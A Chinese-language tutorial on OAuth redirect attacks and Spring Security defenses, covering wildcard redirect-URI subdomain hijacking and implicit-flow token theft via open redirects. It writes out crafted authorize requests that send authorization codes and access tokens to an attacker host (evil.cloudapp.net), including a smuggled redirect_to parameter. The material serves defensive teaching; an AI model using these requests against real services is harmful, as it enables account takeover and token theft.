1. 引言

OAuth 是业界标准的委托授权框架,其设计经过深思熟虑,涵盖了多种授权流程。尽管如此,它仍然存在被攻击的可能。

本文将从理论角度剖析 OAuth 面临的安全威胁,并介绍若干保护应用的有效手段。重点聚焦于重定向攻击(Redirect Attacks),这类问题在实际项目中极易被忽视,一旦踩坑,后果严重。

2. 授权码模式(Authorization Code Grant)

授权码模式 是大多数应用实现委托授权时的默认选择。

在流程开始前,客户端(Client)必须预先在授权服务器(Authorization Server)注册,并提供一个回调接口(redirect URI)——即授权服务器在用户授权后,将授权码(Authorization Code)回传给客户端的地址。

流程简述如下:

  1. 客户端将资源拥有者(用户)重定向至授权服务器(例如“使用 Google 登录”);
  2. 用户完成登录并授权后,授权服务器将携带 code 参数重定向回客户端;
  3. 客户端使用该 code 向授权服务器的 token 接口发起请求,换取访问令牌(Access Token);
  4. 拿到 token 后,客户端即可代表用户访问受保护资源。

⚠️ 关键点:OAuth 2.0 允许客户端为公共客户端(Public Client),即无法安全保存 client_secret 的场景(如单页应用 SPA)。这类客户端更容易成为重定向攻击的目标。

3. 重定向攻击

3.1 攻击前提

重定向攻击的核心在于:OAuth 标准并未严格规定回调 URL 的匹配粒度。这一设计本意是提升灵活性,但也埋下了安全隐患。

某些 OAuth 实现允许注册通配符形式的回调 URL,例如:

*.cloudapp.net

这看似无害,实则危险。因为以下两个子域名均符合匹配规则:

  • app.cloudapp.net(合法应用)
  • evil.cloudapp.net(攻击者控制)

我们特意选用 cloudapp.net,因为它真实存在——这是微软 Azure 提供的公共子域名服务,任何开发者均可注册子域名用于测试。若授权服务器允许通配符匹配回调 URL,且开发者注册了 *.cloudapp.net,则攻击链已成。

攻击所需条件总结:

  • ✅ 攻击者可注册目标主域名下的子域名(如 *.cloudapp.net
  • ✅ 授权服务器支持通配符或宽松的回调 URL 匹配
  • ✅ 开发者注册时使用了通配符回调 URL

3.2 攻击过程

当上述条件满足时,攻击者可通过钓鱼邮件诱导用户访问其控制的页面,例如:

https://evil.cloudapp.net/login

用户点击后,页面发起如下授权请求:

GET /authorize?response_type=code&client_id={apps-client-id}&state={state}&redirect_uri=https%3A%2F%2Fevil.cloudapp.net%2Fcb HTTP/1.1

关键点在于:该请求使用了**合法应用的 client_id**,但 redirect_uri 指向攻击者控制的域名。

授权服务器验证时发现 evil.cloudapp.net 属于 *.cloudapp.net,判定为合法请求,遂引导用户完成登录与授权。

授权完成后,服务器将授权码通过 302 重定向发送至:

https://evil.cloudapp.net/cb?code=AUTH_CODE

攻击者拿到 code 后,即可调用 token 接口换取 access_token,进而访问用户资源。

整个过程用户毫无察觉,堪称“无感盗号”。

4. Spring OAuth 授权服务器漏洞评估

来看一个典型的 Spring OAuth 授权服务器配置:

@Configuration
public class AuthorizationServerConfig extends AuthorizationServerConfigurerAdapter {    
    @Override
    public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
        clients.inMemory()
          .withClient("apricot-client-id")
          .authorizedGrantTypes("authorization_code")
          .scopes("scope1", "scope2")
          .redirectUris("https://app.cloudapp.net/oauth");
    }
    // ...
}

分析:

  • 客户端 ID 为 apricot-client-id
  • client_secret → 属于 Public Client
  • 回调 URL 为绝对路径 https://app.cloudapp.net/oauth

✅ 好消息:我们显式指定了完整回调 URL,具备防御基础。
⚠️ 但默认行为仍可能宽松,需进一步加固。

4.1 严格模式:启用精确匹配

Spring OAuth 默认使用 DefaultRedirectResolver,支持子域名匹配等宽松策略。

建议:只使用必要功能,优先采用精确匹配。

解决方案:替换为 ExactMatchRedirectResolver

@Configuration
public class AuthorizationServerConfig extends AuthorizationServerConfigurerAdapter {    
    //...

    @Override
    public void configure(AuthorizationServerEndpointsConfigurer endpoints) {
        endpoints.redirectResolver(new ExactMatchRedirectResolver());
    }
}

该解析器对回调 URL 进行字符串完全匹配,不解析 URL 结构,杜绝子域名、参数污染等绕过手段。

✅ 优势:行为确定、安全性高。
❌ 缺点:灵活性差,多环境部署需额外管理。

4.2 宽松模式:默认匹配逻辑分析

Spring Security OAuth 默认的 URL 匹配逻辑位于 DefaultRedirectResolver,核心方法如下:

/**
Whether the requested redirect URI "matches" the specified redirect URI. For a URL, this implementation tests if
the user requested redirect starts with the registered redirect, so it would have the same host and root path if
it is an HTTP URL. The port, userinfo, query params also matched. Request redirect uri path can include
additional parameters which are ignored for the match
<p>
For other (non-URL) cases, such as for some implicit clients, the redirect_uri must be an exact match.
@param requestedRedirect The requested redirect URI.
@param redirectUri The registered redirect URI.
@return Whether the requested redirect URI "matches" the specified redirect URI.
*/
protected boolean redirectMatches(String requestedRedirect, String redirectUri) {
   UriComponents requestedRedirectUri = UriComponentsBuilder.fromUriString(requestedRedirect).build();
   UriComponents registeredRedirectUri = UriComponentsBuilder.fromUriString(redirectUri).build();
   boolean schemeMatch = isEqual(registeredRedirectUri.getScheme(), requestedRedirectUri.getScheme());
   boolean userInfoMatch = isEqual(registeredRedirectUri.getUserInfo(), requestedRedirectUri.getUserInfo());
   boolean hostMatch = hostMatches(registeredRedirectUri.getHost(), requestedRedirectUri.getHost());
   boolean portMatch = matchPorts ? registeredRedirectUri.getPort() == requestedRedirectUri.getPort() : true;
   boolean pathMatch = isEqual(registeredRedirectUri.getPath(),
     StringUtils.cleanPath(requestedRedirectUri.getPath()));
   boolean queryParamMatch = matchQueryParams(registeredRedirectUri.getQueryParams(),
     requestedRedirectUri.getQueryParams());

   return schemeMatch && userInfoMatch && hostMatch && portMatch && pathMatch && queryParamMatch;
}

关键逻辑:

  • ✅ 协议(scheme)、用户信息(userInfo)、主机(host)、端口(port)、路径(path)、查询参数(query)均需匹配
  • ⚠️ 但 hostMatches() 方法可能支持子域名匹配(取决于实现)
  • ⚠️ 路径匹配时会忽略额外参数,存在被利用风险

💡 结论:默认行为复杂且存在潜在风险,生产环境务必显式配置为精确匹配。

5. 简化模式(Implicit Flow)的重定向攻击

⚠️ 明确提醒:简化模式 已被官方不推荐(见 RFC 8252 §8.2)。更安全的做法是使用带 PKCE 的授权码模式

但考虑到仍有遗留系统在使用,我们仍需了解其风险。

攻击方式一:直接获取 token

与授权码模式类似,但攻击者在用户授权后直接获得 token(通过 fragment 传递),无需二次请求,攻击链更短。

防御方式相同:使用绝对 URL 精确匹配即可防御。

攻击方式二:利用开放重定向劫持 fragment

更隐蔽的攻击方式:利用客户端的开放重定向漏洞,劫持包含 token 的 fragment。

攻击流程:

  1. 攻击者诱导用户访问 https://evil.cloudapp.net/info
  2. 页面发起授权请求,redirect_uri 被精心构造:
GET /authorize?response_type=token&client_id=ABCD&state=xyz&redirect_uri=https%3A%2F%2Fapp.cloudapp.net%2Fcb%26redirect_to%253Dhttps%253A%252F%252Fevil.cloudapp.net%252Fcb HTTP/1.1
  1. 授权服务器重定向至合法应用,但携带攻击者构造的参数:
Location: https://app.cloudapp.net/cb?redirect_to%3Dhttps%3A%2F%2Fevil.cloudapp.net%2Fcb#access_token=LdKgJIfEWR34aslkf&...
  1. app.cloudapp.net/cb 存在开放重定向漏洞(如直接跳转 redirect_to 参数),则浏览器会将 fragment 一并携带跳转至:
https://evil.cloudapp.net/cb#access_token=LdKgJIfEWR34aslkf&...

攻击者成功截获 token。

✅ 防御手段:

  • 绝对 URL 匹配
  • 客户端禁止开放重定向
  • 前端应校验 redirect_to 是否为白名单域名

6. 总结

本文深入剖析了 OAuth 协议中基于回调 URL 的重定向攻击,包括:

  • ✅ 授权码模式下的子域名劫持
  • ✅ 简化模式下的 token 直接泄露与 fragment 劫持

核心防御策略简单粗暴:

在授权服务器端启用回调 URL 的精确字符串匹配(Exact Match),杜绝通配符与宽松解析。

此外,强烈建议:

  • 避免使用 Implicit Flow
  • 优先采用带 PKCE 的 Authorization Code Flow
  • 定期审计客户端注册信息,禁用不必要的通配符配置

安全无小事,一个看似灵活的配置,可能就是整个系统的突破口。


原始标题:Spring Security - Attacking OAuth